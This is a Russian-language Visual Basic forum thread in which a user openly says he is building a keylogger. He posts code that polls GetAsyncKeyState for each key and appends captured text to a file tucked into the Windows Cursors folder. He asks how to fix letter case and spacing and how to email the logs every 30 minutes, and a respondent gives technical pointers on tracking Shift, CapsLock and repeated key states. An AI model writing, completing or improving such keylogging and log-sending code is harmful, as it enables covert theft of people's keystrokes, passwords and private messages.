Страница: 1 |
Страница: 1 |
Вопрос: Getasynckeystate
Добавлено: 10.05.14 16:56
Автор вопроса: Petr
Добрый день! Как вы понили с название темы программа для захвата клавиш одним словом кейлоггер. Вот часть кода
keystate = Getasynckeystate(vbKeyA)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "A" + ""
End If
keystate = Getasynckeystate(vbKeyB)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "B" + ""
End If и т.д
Open "C:\WINDOWS\Cursors\test.txt" For Append As #1
Print #1, Text2.Text
Close #1
Text2.Text = ""
End Sub
Он работает но не так как хотелось бы. Во первых когда идет запись текстовому файлу то слова разделены т.е бывает так два или один буква на в верхнем строчке а другая часть в нижнем строчке, не в одну строчку. Во вторых когда нажимаю пробел то текстовом файле словах нету пробела все слитно. И самая главная все буквы пишутся большими строчными буквами хотя я пишу без нажатия шифта да понимаю нужно еще добавит пару кодов. Пожалуйста помогите с дополнительными кодами.
Ответы
Всего ответов: 6
Номер ответа: 1
Автор ответа:
AWP
ICQ: 345685652
Вопросов: 96
Ответов: 1212
Web-сайт:
Профиль | | #1
Добавлено: 10.05.14 18:54
Getasynckeystate Всегда возвращает uppercase клавишь. нажатие Capslock, Shift и текущую раскладки придется отдельно мониторить.
Каждый раз, когда ты обращаешься к Getasynckeystate ты получаешь текущее состояние клавиши. Повторы клавиш из-за того, что не запоминаешь предыдущее состояние.
И почемубы не проверять по таблице и писать результат в переменную типа String?
Ну это грубо говоря.
А сохранять
Номер ответа: 2
Автор ответа:
Petr
Вопросов: 45
Ответов: 58
Профиль | | #2
Добавлено: 15.05.14 20:17
AWP можно по подробнее для начинающих. Где будут хранится логи?
Номер ответа: 3
Автор ответа:
AWP
ICQ: 345685652
Вопросов: 96
Ответов: 1212
Web-сайт:
Профиль | | #3
Добавлено: 16.05.14 12:39
Petr
filename - вроде как имя файла
Номер ответа: 4
Автор ответа:
Petr
Вопросов: 45
Ответов: 58
Профиль | | #4
Добавлено: 19.05.14 04:22
AWP можете врубит аску и там я бы мог задать несколько вопросов пожалуйста.
Номер ответа: 5
Автор ответа:
Petr
Вопросов: 45
Ответов: 58
Профиль | | #5
Добавлено: 19.05.14 04:28
И еще один вопрос касающиеся этой темы. Как можно отправить отчет каждый 30 минут или час. Я сам попробовал но почему то не работает этот код:
Номер ответа: 6
Автор ответа:
AWP
ICQ: 345685652
Вопросов: 96
Ответов: 1212
Web-сайт:
Профиль | | #6
Добавлено: 20.05.14 18:01
Petr Аську не запускал лет 10.
Я не знаю как работает CDO.Message поэтому не могу сказать. А интервал у таймера какой стоит?